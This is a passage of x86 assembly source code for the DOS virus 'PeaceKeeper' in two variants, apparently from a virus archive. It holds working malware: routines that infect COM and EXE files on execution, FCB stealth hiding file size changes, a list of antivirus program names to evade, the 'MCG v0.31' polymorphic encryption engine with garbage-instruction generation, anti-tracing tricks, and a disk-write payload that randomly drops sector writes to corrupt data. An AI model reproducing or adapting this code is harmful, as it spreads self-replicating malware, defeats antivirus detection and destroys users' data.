mov cx,[dec_length] ; CX = length of decryptor
mov ah,40h ; Write to file
mov bx,[file_handle] ; BX = file handle
call int21_simula
cmp [execute_stat],01h ; EXE executable?
je infect_exe_ ; Equal? Jump to infect_exe_
cmp [execute_stat],00h ; COM executable?
je infect_com_ ; Equal? Jump to infect_com_
eternal_loo_:
jmp eternal_loo_
infect_exe_:
call calc_virus
push dx ; Save DX at stack
mov cx,ax ; CX = number of paragraphs
lea si,code_begin ; SI = offset of code_begin
encrypt_loop:
push cx ; Save CX at stack
mov dx,[encrypt_key] ; DX = encryption/decryption key
mov cx,200h ; CX = number of bytes to encrypt
lea di,data_buffe ; DI = offset of data_buffe
call encrypt_body
mov ah,40h ; Write to file
mov bx,[file_handle] ; BX = file handle
call int21_simula
pop cx ; Load CX from stack
loop encrypt_loop
pop cx ; Load CX from stack (DX)
lea di,data_buffe ; DI = offset of data_buffe
mov dx,[encrypt_key] ; DX = encryption/decryption key
call encrypt_body
mov ah,40h ; Write to file
mov bx,[file_handle] ; BX = file handle
call int21_simula
jmp no_error
infect_com_:
call calc_virus
push dx ; Save DX at stack
mov cx,ax ; CX = number of paragraphs
lea si,code_begin ; SI = offset of code_begin
encrypt_loo:
push cx ; Save CX at stack
mov dx,[encrypt_key] ; DX = encryption/decryption key
mov cx,200h ; CX = number of bytes to encrypt
lea di,data_buffe_ ; DI = offset of data_buffe_
add di,[part_length] ; DI = offset of end of data_buffe_
call encrypt_body
mov ah,40h ; Write to file
mov bx,[file_handle] ; BX = file handle
call int21_simula
pop cx ; Load CX from stack
loop encrypt_loo
pop cx ; Load CX from stack (DX)
lea di,data_buffe_ ; DI = offset of data_buffe_
add di,[part_length] ; DI = offset of end of data_buffe_
mov dx,[encrypt_key] ; DX = encryption/decryption key
call encrypt_body
mov ah,40h ; Write to file
mov bx,[file_handle] ; BX = file handle
call int21_simula
jmp no_error
endp
calc_virus proc near ; Calculate size of virus in parag...
sub dx,dx ; Zero DX
mov bx,200h ; Divide by pages
mov ax,(code_end-code_begin)
div bx ; AX:DX = size of virus in paragraphs
ret ; Return
endp
save_regs proc near ; Save registers
mov cs:[ax_],ax ; Store accumulator register
mov cs:[bx_],bx ; Store base register
mov cs:[cx_],cx ; Store count register
mov cs:[dx_],dx ; Store data register
mov cs:[si_],si ; Store source index
mov cs:[di_],di ; Store destination index
mov cs:[bp_],bp ; Store base pointer
mov cs:[ds_],ds ; Store data segment
mov cs:[es_],es ; Store extra segment
nop
ret ; Return
endp
load_regs proc near ; Load registers
mov ax,cs:[ax_] ; AX = accumulator register
mov bx,cs:[bx_] ; BX = base register
mov cx,cs:[cx_] ; CX = count register
mov dx,cs:[dx_] ; DX = data register
mov si,cs:[si_] ; SI = source index
mov di,cs:[di_] ; DI = destination index
mov bp,cs:[bp_] ; BP = base pointer
mov ds,cs:[ds_] ; DS = data segment
mov es,cs:[es_] ; ES = extra segment
nop
ret ; Return
endp
int24_virus proc near ; Interrupt 24h of PeaceKeeper.a
mov al,03h ; AL = fail system call in progress
iret ; Interrupt return
endp
int21_virus proc near ; Interrupt 21h of PeaceKeeper.a
cmp ax,0deadh ; PeaceKeeper.a function?
jne determ_func ; Not equal? Jump to determ_func
mov bx,ax ; Already resident
iret ; Interrupt return
determ_func:
cmp ax,0deaeh ; PeaceKeeper.a function?
je init_rnd_nu ; Equal? Jump to init_rnd_nu
cmp ax,4b00h ; Load and execute program?
je load_and_exe ; Equal? Jump to load_and_exe
cmp ah,11h ; Find first matching file (FCB)?
je fcb_stealth ; Equal? Jump to fcb_stealth
cmp ah,12h ; Find next matching file (FCB)?
je fcb_stealth ; Equal? Jump to fcb_stealth
int21_exit:
jmp cs:[int21_addr_]
iret ; Interrupt return
endp
int21_simula proc near ; Simulate interrupt 21h
pushf ; Save flags at stack
call cs:[int21_addr]
ret ; Return
endp
init_rnd_nu:
call save_regs
call init_rnd_num
call load_regs
load_and_exe:
call save_regs
mov cs:[filename_off],dx
mov cs:[filename_seg],ds
push cs ; Save CS at stack
pop ds ; Load DS from stack
call int24_store
call infect_file_
call int24_load
call load_regs
jmp int21_exit
fcb_stealth:
pushf ; Save flags at stack
call int21_simula
popf ; Load flags from stack
test al,al ; Successfull?
jnz filesiz_exi_ ; Not zero? Jump to filesize_exi_
push ax bx dx si es ds ; Save registers at stack
mov ah,51h ; Get current PSP address
call int21_simula
mov es,bx ; ES = segment of PSP for current ...
cmp bx,es:[16h] ; Parent PSP equal to current PSP?
jne filesiz_exit ; Not equal? Jump to filesiz_exit
mov si,dx ; SI = offset of unopened FCB
mov ah,2fh ; Get Disk Transfer Area (DTA) add...
call int21_simula
lodsb ; AL = signature for extended FCB
sub si,si ; Zero SI
inc al ; Extended File Control Block (XFCB)?
jnz not_extended ; Not zero? Jump to not_extended
add bx,07h ; BX = offset of File Control Bloc...
not_extended:
mov ax,es:[bx+17h] ; AX = file time
db 10000011b,11100000b ; AND AX,1Fh (opcode 83h,0e0h,1fh)
db 00011111b
db 10000011b,11111000b ; CMP AX,1Fh (opcode 83h,0f80h,1eh)
db 00011110b
jne filesiz_exit ; Not equal? Jump to filesiz_exit
mov ax,es:[bx+1dh] ; AX = low-order word of filesize
mov dx,es:[bx+1fh] ; DX = high-order word of filesize
sub ax,(code_end-code_begin)
sbb dx,00h ; Convert to 32-bit
jb filesiz_exit ; Below? Jump to filesiz_exit
mov es:[bx+1dh],ax ; Store low-order word of filesize
mov es:[bx+1fh],dx ; Store high-order word of filesize
filesiz_exit:
pop ds es si dx bx ax ; Load registers from stack
filesiz_exi_:
iret ; Interrupt return
infect_file_ proc near ; Infect COM/EXE file
cli ; Clear interrupt-enable flag
mov [stack_seg],ss ; Store stack segment
mov [stack_ptr_],sp ; Store stack pointer
push cs ; Save CS at stack
pop ss ; Load SS from stack (CS)
lea sp,stack_ptr ; SP = stack pointer
sti ; Set interrupt-enable flag
mov cs:[payload_stat],00h
call examine_name
jc infect_exit_ ; Error? Jump to infect_exit_
call payload_
mov [infect_stat],01h ; Infect file
cmp [execute_stat],00h ; COM executable?
je infect_com__ ; Equal? Jump to infect_com__
cmp [execute_stat],01h ; EXE executable?
je infect_exe__ ; Equal? Jump to infect_exe__
jmp error_
infect_exe__:
call sto_file_att
jc infect_exit_ ; Error? Jump to infect_exit_
call open_file
jc infect_exit_ ; Error? Jump to infect_exit_
call get_file_inf
mov al,02h ; Set current file position (EOF)
call set_file_pos
mov word ptr [filesize],ax
mov word ptr [filesize+02h],dx
call infect_exe
jc infect_exit ; Error? Jump to infect_exit
mov [infect_stat],00h ; Don't infect file
call infect_file
jmp infect_exit
infect_com__:
call sto_file_att
jc infect_exit_ ; Error? Jump to infect_exit_
call open_file
jc infect_exit_ ; Error? Jump to infect_exit_
call get_file_inf
mov al,02h ; Set current file position (EOF)
call set_file_pos
mov word ptr [filesize],ax
mov word ptr [filesize+02h],dx
call examine_com
jc infect_exit ; Error? Jump to infect_exit
call infect_com
jc infect_exit ; Error? Jump to infect_exit
call infect_file
call mark_com
mov [infect_stat],00h ; Don't infect file
infect_exit:
call set_file_inf
call close_file
infect_exit_:
mov cs:[payload_stat],01h
cli ; Clear interrupt-enable flag
push [stack_seg] ; Save stack segment at stack
pop ss ; Load SS from stack (stack segment)
mov sp,[stack_ptr_] ; SP = stack pointer
sti ; Set interrupt-enable flag
jmp no_error
endp
table_begin:
scan_strings db 90h,90h,0e8h,0cch ; Scan string of DOS kernel v 3.xx
db 90h,90h,0e8h,0cch ; Scan string of DOS kernel v 4.xx
db 90h,90h,0e8h,0cch ; Scan string of DOS kernel v 5.xx
db 90h,90h,0e8h,0cch ; Scan string of DOS kernel v 6.xx
table_end:
execute_stat db ? ; Executable status
filename_off dw ? ; Offset of filename
filename_seg dw ? ; Segment of filename
file_attr dw ? ; File attributes
file_date dw ? ; File date
file_time dw ? ; File time
filesize dd ? ; Filesize
file_handle dw ? ; File handle
initial_ss dw ? ; Initial SS relative to start of ...
initial_sp dw ? ; Initial SP
initial_cs dw ? ; Initial CS relative to start of ...
initial_ip dw ? ; Initial IP
db 21h,98h,01h,00h,0adh,0deh
exe_extensio db 'EXE' ; EXE extension
com_extensio db 'COM' ; COM extension
table_begin_:
name_table db 'SC' ; McAfee ViruScan
db 'CL' ; " "
db 'VI' ; VIRSTOP
db 'VS' ; Vsafe
db 'MS' ; Microsoft Anti-Virus
db 'CP' ; Central Point Anti-Virus
db 'F-' ; F-PROT
db 'IM' ; Integrity Master
db 'VH' ; VHunter
db 'TB' ; ThunderByte Anti-Virus
table_end_:
db 00h,00h
part_offset dw ? ; Offset in file of current polymo...
part_length dw ? ; Length of polymorphic parts + in...
part_offset_ dw ? ; Offset in memory of current poly...
part_offse dw ? ; Offset in file of current polymo...
poly_parts dw 01h ; Number of polymorphic parts
part_length_ dw ? ; Length of current polymorphic part
delta_offse_ dw ? ; Delta offset
infect_stat db ? ; Infect status ..
db 01h
payload_stat db ? ; Payload status
trace_status db ? ; Trace flag status
db 08h dup(00h)
dos_version dw ? ; DOS version number
program_seg dw ? ; Segment of Program Segment Prefi...
int21_addr dd ? ; Address of interrupt 21h
int21_addr_ dd ? ; Address pf interrupt 21h
int24_addr dd ? ; Address of interrupt 24h
db 08h dup(00h)
int13_addr dd ? ; Address of interrupt 13h
stack_seg dw ? ; Stack segment
stack_ptr_ dw ? ; Stack pointer
ax_ dw ? ; Accumulator register
bx_ dw ? ; Base register
cx_ dw ? ; Count register
dx_ dw ? ; Data register
ds_ dw ? ; Data segment
es_ dw ? ; Extra segment
si_ dw ? ; Source index
di_ dw ? ; Destination index
bp_ dw ? ; Base pointer
data_buffer db 1ch dup(?) ; Data buffer
data_buffer_ db 04h dup(?) ; " "
flags db 00h ; Flags
; ------- Poly engine start --------------------------------------------------
assign_val dw 0 ; value to be assigned when calling
; the do_assign procedure
assign_reg db 0 ; register to be used when calling
; the do_assign procedure
encrypt_key dw 0 ; encryption key used
run_offset dw 0 ; offset at which the decryptor will
; run (BP at input)
poly_flags db 0 ; flags given to poly engine are
; stored here
loop_start dw 0 ; pointer to start of the decryption
; loop
rnd_pnt_off dw 0 ; random value added to the pointer
; in the decryption instruction
decrypt_start dw 0 ; pointer to decryptor start
dec_length dw 0 ; decryptor length
regs_assigned db 0 ; 1 if pointer and counter registers
; have been assigned yet, 0 otherwise
use_loop db 0 ; 0 if LOOP instruction will be used
; in dec loop, 1 don't force LOOP
poly_name_ver db '[MCG v0.31á]'
reg_no_assign: ; Registers that can't be used as temporary
; when assigning a value
db 0 ; AX
db 1 ; CX
db 3 ; BX
db 4 ; BP
mul2_in_si proc near
;
; this procedure multiplies AX by two and puts the result in SI. this is used
; when selecting elements from the procedures tables later, since each address
; in a word long.
;
nop
nop
mov bx, 2
mul bx ; simply ax * 2 and then
mov si, ax ; store in si
retn
mul2_in_si endp
get_random proc near
push cx
mov cx, 1eh
persist_rnd:
call get_rnd_num
loop persist_rnd ; call the real rnd_generator
pop cx ; a few times to be more
retn ; randomized
get_random endp
some_garbage proc near
test byte ptr [poly_flags], 40h ; garbage allowed?
jnz return_garbage
some_garbage_:
push cx
call get_rnd_num
and al, 7
sub ah, ah ; select how much
mov ch, ah ; garbage inst. to do
mov cl, al ; between 01h and 08h
inc cx
garbage_loop_2:
call garbage_instr ; do given number of
loop garbage_loop_2 ; garbage instructions
pop cx
return_garbage:
retn
some_garbage endp
select_reg_ass proc near
push ax
push cx
push di
mov di, offset reg_no_assign ; point to table of ones
mov cx, 4 ; that can't be used
mov al, ah
repne scasb ; check if randomly selected
pop di ; can be used or not
pop cx
pop ax
jnz ok_regi_ass ; NZ means register can be used
mov ah, 2 ; if can't use that one then
ok_regi_ass: ; use register DX
retn
select_reg_ass endp
garbage_sel:
;
; table with offsets to garbage generation routines
;
dw offset garbage_way_1
dw offset garbage_way_2
dw offset garbage_way_5
dw offset garbage_way_4
dw offset garbage_way_7
dw offset garbage_way_3
dw offset garbage_way_7
dw offset garbage_way_6
one_byters:
;
; one byte instructions that can be generated as garbage
;
nop
clc
stc
cmc
cli
nop
cld
cmc
math_garb:
;
; possible garbage operations. this are the ones that doesn't modify the
; register content when using the same register as source and destination
;
db 8 ; or opcode
db 20h ; and opcode
db 8 ; or opcode
db 88h ; mov opcode
zero_reg:
;
; possible instructions used to zero a register when both source and destination
; are the same register
;
db 2bh ; sub opcode
db 31h ; xor opcode
garbage_instr proc near
;
; this routine generates a garbage instruction
;
pushf
push ax
push bx ; save some registers
push cx
push dx
call get_random ; select from the given
db 10000011b,11100000b ; AND AX,07h
db 00000111b ; (opcode 83h,0e0h,07h)
call mul2_in_si ; convert to offset in SI
call get_random ; rnd value in AX for garbage
; routines
jmp word ptr cs:[si + offset garbage_sel] ; generate
return_garbage_:
pop dx
pop cx ; restore and return back
pop bx
pop ax
popf
retn
garbage_instr endp
; ------- Garbage generator routines -----------------------------------------
garbage_way_1:
;
; this selects one one-byte instruction from the table
;
and al, 7 ; 8 one byte opcodes
mov bx, offset one_byters ; select one from table
xlat
stosb ; and store
jmp short return_garbage_
garbage_way_2:
;
; this generates three different types of 8 or 16 bit register to register
; operations that are AND, OR and MOV
;
cmp byte ptr [regs_assigned], 0
jnz return_garbage_
and al, 3 ; 4 possible operations
mov bx, offset math_garb ; select one from table
push cs
pop es
xlat
mov bl, al
push cx
call get_rnd_num
and al, 1 ; 8 or 16 bit
or al, bl
and ah, 38h ; select one random pair
mov bh, ah ; of registers for the
mov cl, 3 ; operation
shr ah, cl
or ah, bh ; make source and
destination
or ah, 0c0h ; the same register, so content
stosw ; isn't altered
pop cx
jmp short return_garbage_
garbage_way_3:
;
; this generates two xchanges of 8 or 16 bits registers, this way important
; data in used regs isn't lost
;
and al, 1 ; 8bit (86h) or 16bit (87h)
or al, 86h ; xchg base
or ah, 0c0h ; from two random regs
stosw ; xchange twice, so nothing
stosw ; changes
jmp short return_garbage_
garbage_way_4:
;
; this generates 16 types of conditional jumps to the next instruction
;
and al, 0fh ; 0fh types of jumps
or al, 70h ; conditional jump base
sub ah, ah ; on next instruction
stosw
jmp short return_garbage_
garbage_way_5:
;
; this generates a comparation of 8 or 16 bits of two registers. randomly
; it also puts a conditional jump (using the garbage_way_4) routine after
; the comparsion.
;
cmp byte ptr [regs_assigned], 0
jnz return_garbage_
and al, 1 ; 8 or 16 bits
or al, 3ah ; cmp reg,reg prefix
or ah, 0c0h ; from two random regs
stosw
call get_rnd_num
test ah, 2 ; randomly add also a cond
jz garbage_way_4 ; jump after this cmp
jmp short return_garbage_
garbage_way_6:
;
; this generates a comparation of a 8 or 16 bit register with an immediate
; (of course of the same size) and then puts a conditional jump after it
;
cmp byte ptr [regs_assigned], 0
jnz return_garbage_
and al, 1 ; 8 or 16 bit
or al, 3ch ; cmp reg,immediate
stosb
test al, 1 ; depending on the used imm
pushf ; dimension store one or two
call get_rnd_num ; random bytes as immediate
popf
jnz word_immediate_cmp
stosb
back_immediate_cmp:
jmp short garbage_way_4
word_immediate_cmp:
stosw
jmp short back_immediate_cmp
garbage_way_7:
;
; this generates a test between two 8 or 16 bits registers and puts a
; conditional jump after it
;
cmp byte ptr [regs_assigned], 0
jz can_do_test
jmp return_garbage_
can_do_test:
and al, 1 ; 8 or 16 bit
or al, 84h ; test reg,reg base
or ah, 0c0h
stosw
jmp short garbage_way_4
; ---------------------------------------------------------------------------
;
; this will generate a one byte instruction followed by a loop (using the LOOP
; instruction) that will loop on the generated one byte instruction. this
; routine is in the poly code but is never used.
;
and al, 7
mov bx, offset one_byters ; get an one byte instruction
xlat
stosb
mov ax, 0fde2h ; loop pointing to the previous
stosw ; one byte instruction
jmp return_garbage_
;
; this seems a register reference table but isn't used either in this version
; of the poly
;
db 0 ; AX
db 1 ; CX
db 4 ; BP
db 3 ; BX
; ---------------------------------------------------------------------------
assign_sel:
;
; Offsets to possible way of assigning the value to the counter register
;
dw offset assign_way_1
dw offset assign_way_2
dw offset assign_way_4
dw offset assign_way_3
do_assign proc near
;
; this subroutine creates code that assign the value given in the register AX
; to the register which opcode is given in the register DH.
;
pushf
push ax ; save some regs
push bx
push cx
push dx
mov word ptr [assign_val], ax ; save inputs to
mov byte ptr [assign_reg], dh ; procedure
call get_rnd_num
db 10000011b,11100000b ; AND AX,03h
db 00000011b ; (opcode 83h,0e0h,03h)
call mul2_in_si ; multiply to get
; memory offset
call get_random ; rnd value for
; procedures
jmp word ptr cs:[si + offset assign_sel] ; jump to it
return_assign:
pop dx
pop cx
pop bx ; restore and get back
pop ax
popf
retn
do_assign endp
; ------- Register assignation routines -------------------------------------
assign_way_1:
;
; mov assign_reg,value
; garbage
;
mov al, 0b8h ; mov base opcode
or al, byte ptr [assign_reg] ; for the used reg
stosb
mov ax, word ptr [assign_val] ; and store register
stosw ; initial value
call some_garbage
jmp short return_assign
assign_way_2:
;
; mov rnd_reg,value
; garbage
; xchg rnd_reg,assign_reg
; garbage
;
and ah, 7
call select_reg_ass
mov dh, ah
mov al, 0b8h ; mov base opcode
or al, ah ; with selected reg
stosb
mov ax, word ptr [assign_val] ; assign the value
stosw
call some_garbage
mov al, 87h ; xchg prefix
mov ah, 0c0h ; xchg registers opcode
or ah, dh ; first is the one we
; used before, rnd_reg
mov dh, byte ptr [assign_reg]
sub cx, cx
mov cl, 3 ; and calculate for the
shl dh, cl ; assign_reg one
or ah, dh
stosw ; store the xchg
jmp short return_assign
assign_way_3:
;
; mov rnd_reg,value
; garbage
; push rnd_reg
; garbage
; pop assign_reg
; garbage
;
and ah, 7
call select_reg_ass
mov dh, ah
mov al, 0b8h ; mov base opcode
or al, ah ; with selected reg
stosb
mov ax, word ptr [assign_val] ; and value
stosw
call some_garbage
mov al, 50h ; push base opcode
or al, dh ; for rnd_reg used
stosb
call some_garbage
mov dh, byte ptr [assign_reg] ; and pop to given
mov al, 58h ; register
or al, dh
stosb
jmp short return_assign
assign_way_4:
;
; xor/sub assign_reg,assign_reg
; garbage
; add/or assign_reg,value
; garbage
;
and al, 1
sub ah, ah ; using the table
mov bx, offset zero_reg ; select if zeroing
xlat ; using sub or xor
stosb
mov bl, byte ptr [assign_reg]
sub al, al
or al, 0c0h ; basic prefix
or al, bl ; both source and
mov cl, 3 ; destination will be
shl bl, cl ; the given register
or al, bl
stosb
call some_garbage
call get_random ; select which way to
and al, 1 ; correct the register
cmp al, 1 ; value
jz correct_with_add
xor ax, ax
mov al, 81h ; basic prefix
mov ah, 0c8h ; OR basic opcode
mov bl, byte ptr [assign_reg] ; with selected reg
or ah, bl
stosw
store_way_4:
mov ax, word ptr [assign_val] ; and store register
stosw ; initial value
jmp return_assign
correct_with_add:
sub ax, ax
mov al, 81h ; basic prefix
mov bl, byte ptr [assign_reg] ; selected reg
or ah, bl
or ah, 0c0h ; with ADD opcode
stosw
jmp short store_way_4
; ---------------------------------------------------------------------------
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; MCG v0.31á Poly engine entry point
;
; Input parameters:
; AX = encryption value
; BL = poly engine flags
; bit 0 = 1 encrypt using words, 0 using bytes
; bit 1 = 1 use just reg as pointer , 0 use reg + off
; bit 2 = 1 use SI as pointer, 0 use DI as pointer
; bit 3 = 1 use LOOP in dec loop, 0 use DEC counter
; bit 4 = 0 use ADD for encryption, 1 don't use ADD
; bit 5 = 0 use SUB for encryption, 1 don't use SUB
; This is overridden by bit 4. If either
; bit 4 and bit 5 are 1 the XOR is used
; bit 6 = 1 for no garbage, 0 for garbage
; BP = offset at which the decryptor will run
; ES:DI = where to place generated code
;
; Output parameters:
; CX = decryptor length
; DS:DX = pointer to decryptor
;
;
mcg_start proc near
cld
push cs
push cs
pop ds
pop es
mov word ptr [encrypt_key], ax ; store input paras
mov byte ptr [poly_flags], bl ; and do some inits
mov word ptr [run_offset], bp
mov word ptr [decrypt_start], di
mov byte ptr [regs_assigned], 0
mov byte ptr [use_loop], 1
test byte ptr [poly_flags], 40h ; check if we can do
jnz no_first_garb ; garbage or not
call get_rnd_num
and al, 0fh ; do a number between
sub cx, cx ; 01h and 10h of
mov cl, al ; garbage instructions
inc cx ; force at least one
garbage_loop_1:
call garbage_instr ; do one garbage inst
loop garbage_loop_1
no_first_garb:
test byte ptr [poly_flags], 1 ; encrypt with bytes?
mov dh, 1
jz do_with_bytes
push dx
xor dx, dx
mov ax,(code_end-code_begin) ; for words must
mov bx, 2 ; div counter by 2
div bx
add ax, dx
pop dx
call do_assign ; make counter assignation
jmp short counter_assigned
do_with_bytes:
mov ax,(code_end-code_begin)
call do_assign ; make counter assignation
counter_assigned:
call some_garbage
test byte ptr [poly_flags], 4 ; pointer register
jnz pointer_with_si
mov dh, 7 ; use DI as pointer
mov ax, 0ffffh ; put 0ffffh, will be filled later
call do_assign ; make pointer assignation
jmp short pointer_assigned
pointer_with_si:
mov dh, 6 ; use SI as pointer
mov ax, 0ffffh ; put 0ffffh, will be filled later
call do_assign ; make pointer assignation
pointer_assigned:
mov byte ptr [regs_assigned], 1
call some_garbage
mov word ptr [loop_start], di ; save where the real
call some_garbage ; decryption loop starts
call some_garbage
mov al, 2eh ; CS: segment forcing
stosb
mov al, 81h ; base prefix
test byte ptr [poly_flags], 1 ; encrypting bytes?
jnz using_words_enc
and al, 0feh ; so prefix becames 80h
using_words_enc:
stosb
test byte ptr [poly_flags], 10h ; use ADD?
jz add_encryption
test byte ptr [poly_flags], 20h ; use SUB?
jz sub_encryption
mov al, 30h ; XOR base
mov byte ptr [use_loop], 0 ; force LOOP if so
jmp short proceed_enc
sub_encryption:
mov al, 28h ; SUB base
jmp short proceed_enc
add_encryption:
sub al, al ; ADD base
proceed_enc:
test byte ptr [poly_flags], 4 ; which pointer is used
jz di_is_here
or al, 4 ; SI
jmp short proceed_enc_2
di_is_here:
or al, 5 ; DI
proceed_enc_2:
stosb
test byte ptr [poly_flags], 2 ; using reg+off in
pushf ; encryption?
sub ax, ax
popf
jnz using_just_reg
get_rndpnt_off:
call get_rnd_num ; random offset to add
mov word ptr [rnd_pnt_off], ax ; save for later too
push ax
push bx
mov bx, 200h
add bx, word ptr [run_offset]
sub bx, ax
test bx, 0c0h
pop bx
pop ax
jz get_rndpnt_off
or byte ptr cs:[di-1], 80h ; change to right opc.
stosw ; store random off
using_just_reg:
test byte ptr [poly_flags], 1 ; byte or words?
jz key_is_a_byte
mov ax, word ptr [encrypt_key] ; store immediate word
stosw ; encryption key
jmp short done_key_operation
key_is_a_byte:
mov al, byte ptr [encrypt_key+1] ; if encryption is done
stosb ; byte by byte then key
jmp short done_key_operation ; is a byte
done_key_operation:
call some_garbage
call some_garbage
call some_garbage
call get_rnd_num
and ah, 3 ; four ways of inc
cmp ah, 0 ; the pointer reg
jz incp_scasb
cmp ah, 2
jz incp_cmpsb
cmp ah, 3
jz incp_inc
mov al, 81h ; math prefix
mov ah, 0c0h ; add base
test byte ptr [poly_flags], 4 ; used as pointer?
jnz add_butsi
or ah, 7 ; DI
jmp short add_storeit
add_butsi:
or ah, 6 ; SI
add_storeit:
stosw
test byte ptr [poly_flags], 1 ; enc word or bytes?
jz using_bytes_inc
mov ax, 2 ; words, so + 2
jmp short store_the_inc
using_bytes_inc:
mov ax, 1 ; bytes, so + 1
store_the_inc:
stosw
jmp short pointer_incremented
incp_scasb:
test byte ptr [poly_flags], 4 ; scasb method only
jnz incp_cmpsb ; if using DI
mov byte ptr [use_loop], 0 ; force LOOP if so
mov al, 0aeh ; scasb incs DI of 1
test byte ptr [poly_flags], 1 ; if doing with words
jz put_the_scasb
or al, 1 ; then to scasw
put_the_scasb:
stosb
jmp short pointer_incremented
incp_cmpsb:
mov byte ptr [use_loop], 0 ; force LOOP if so
mov al, 0a6h ; cmpsb
test byte ptr [poly_flags], 1 ; if doing with words
jz put_the_cmpsb
or al, 1 ; then to cmpsw
put_the_cmpsb:
stosb
jmp short pointer_incremented
incp_inc:
mov al, 40h ; inc opcode
test byte ptr [poly_flags], 4 ; with the correct
jnz enc_with_sir ; pointer reg
or al, 7 ; DI
jmp short store_incpointer
enc_with_sir:
or al, 6 ; SI
store_incpointer:
stosb
test byte ptr [poly_flags], 1 ; doing with words?
jz pointer_incremented
push ax ; if so some garbage
call some_garbage ; and then one more
call some_garbage ; inc pointer
pop ax
stosb
pointer_incremented:
call some_garbage
call some_garbage
test byte ptr [poly_flags], 8 ; LOOP or DEC
jz dowith_inccx
use_loopi:
mov al, 0e2h ; LOOP opcode
make_jump_off:
stosb
mov bx, di
mov dx, word ptr [loop_start]
sub bx, dx
mov bh, 0ffh ; calculate the offset
sub bh, bl ; of the jump to the
xchg al, bh ; beginning of the
stosb ; decryption loop
jmp short finished_loop
dowith_inccx:
cmp byte ptr [use_loop], 0 ; if forcing LOOP then use it
jz use_loopi
mov al, 49h ; dec cx, this is dec counter
stosb
call some_garbage
call some_garbage
call some_garbage
call get_rnd_num
and ah, 1 ; two types of conditional
cmp ah, 1 ; jump to exit the loop
jz jump_with_jg
mov al, 75h ; JNE opcode
jmp short make_jump_off
jump_with_jg:
mov al, 7fh ; JG opcode
jmp short make_jump_off
finished_loop:
push di
mov bx, word ptr [decrypt_start] ; caluclate length
sub di, bx ; of generated
mov word ptr [dec_length], di ; decryptor
pop di
std ; will search from
mov al, 0ffh ; end to beginning
mov cx, word ptr [dec_length]
search_pnt_ass:
repne scasb ; search the pointer
cmp byte ptr [di], 0ffh ; assignation in
jnz search_pnt_ass ; generated code
cld ; (the FFFFh word)
mov ax, word ptr [dec_length]
add ax, word ptr [run_offset]
test byte ptr [poly_flags], 2
jnz adjust_for_off
sub ax, word ptr [rnd_pnt_off] ; if using reg+off then
; adjust inital pnt
adjust_for_off:
stosw ; correct pointer assignation
mov cx, word ptr [dec_length]
mov dx, word ptr [decrypt_start]
retn
mcg_start endp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
encrypt_body proc near
;
; this routine encrypts CX bytes starting from ES:DI with the key given in
; the register DX. it uses the poly_flags data byte to decide which encryption
; was used.
;
push di
push cx
test byte ptr [poly_flags], 1 ; words or bytes?
jz byte_by_byte
inc cx
shr cx, 1 ; words
word_by_word:
mov dx, word ptr [encrypt_key] ; get again key
lodsw ; get a word
call encrypt_word
stosw ; store encrypted one
loop word_by_word
jmp short finished_encrypt
byte_by_byte:
mov dx, word ptr [encrypt_key] ; get again key
lodsb ; get a byte
xchg dh, dl ; if using bytes the
xor dh, dh ; key is in high one
call encrypt_word
stosb ; store encrypted one
loop byte_by_byte
jmp short finished_encrypt
; ---------------------------------------------------------------------------
encrypt_word proc near
test byte ptr [poly_flags], 10h ; add to decrypt?
jz enc_subbing
test byte ptr [poly_flags], 20h ; sub to decrypt?
jz enc_adding
xor ax, dx ; else xoring
retn
enc_adding:
add ax, dx ; encrypt it adding
retn
enc_subbing:
sub ax, dx ; encrypt it subbing
retn
encrypt_word endp
; ---------------------------------------------------------------------------
finished_encrypt:
pop cx ; restore changed regs
pop dx
retn ; back to caller
encrypt_body endp
; ------- Poly engine end ----------------------------------------------------
code_end:
data_buffe:
dw 02h ; Length of original code
dw code_begin-100h ; Offset of original code - 100h
int 20h ; Terminate program
db 0fah dup(?)
data_buffe_:
data_end:
end code_begin
--------------------------------------------------------------[peacek_a.asm]--
--------------------------------------------------------------[peacek_b.asm]--
.model tiny
.code
org 100h ; Origin of PeaceKeeper.b
code_begin:
stack_ptr equ $-01h ; Stack pointer
call delta_offset
delta_offset:
pop si ; Load SI from stack
sub si,(delta_offset-code_begin)
jmp int01_store
nop
int13_virus proc near ; Interrupt 13h of PeaceKeeper.b
cmp cs:[payload_stat],00h
je int13_exit ; Equal? Jump to int13_exit
cmp ah,03h ; Write disk sector(s)
je payload ; Equal? Jump to payload
int13_exit:
jmp cs:[int13_addr]
iret ; Interrupt return
payload:
push ax bx ; Save registers at stack
call get_rnd_num
and ah,00000111b ; AH = random number within seven
and al,00000111b ; AL = " " " "
cmp ah,00000111b ; Write disk sector(s)?
jmp write_sector
cmp al,00000110b ; Write disk sector(s)?
jne write_sector ; Not equal? Jump to write_sector
pop bx ax ; Load registers from stack
clc ; Clear carry flag
iret ; Interrupt return
write_sector:
pop bx ax ; Load registers from stack
jmp int13_exit
endp
int01_virus proc near ; Interrupt 01h of PeaceKeeper.b
cmp cs:[si+trace_status-100h],00h
jne int01_exit ; Not equal? Jump to int01_exit
mov cs:[si+trace_status-100h],01h
pushf ; Save flags at stack
pop ax ; Load AX from stack
and ax,1111111011111111b
push ax ; Save AX at stack
popf ; Load flags from stack
jmp int01_load
int01_exit:
iret ; Interrupt return
endp
int01_store:
sub ax,ax ; Zero AX
mov es,ax ; ES = segment of interrupt table
cli ; Clear interrupt-enable flag
mov dx,es:[(01h*04h)] ; Get interrupt vector 01h
mov cx,es:[(01h*04h+02h)]
sti ; Set interrupt-enable flag
lea ax,[si+int01_virus-100h]
mov cs:[si+trace_status-100h],00h
mov es:[(01h*04h)],ax ; Set interrupt vector 01h
mov es:[(01h*04h+02h)],cs
pushf ; Save flags at stack
pop ax ; Load AX from stack
or ax,0000000100000000b
push ax ; Save AX at stack
popf ; Load flags from stack
nop
int 20h ; Terminate program
int01_load:
cli ; Clear interrupt-enable flag
mov es:[(01h*04h)],dx ; Set interrupt vector 01h
mov es:[(01h*04h+02h)],cx
sti ; Set interrupt-enable flag
jmp get_dos_ver
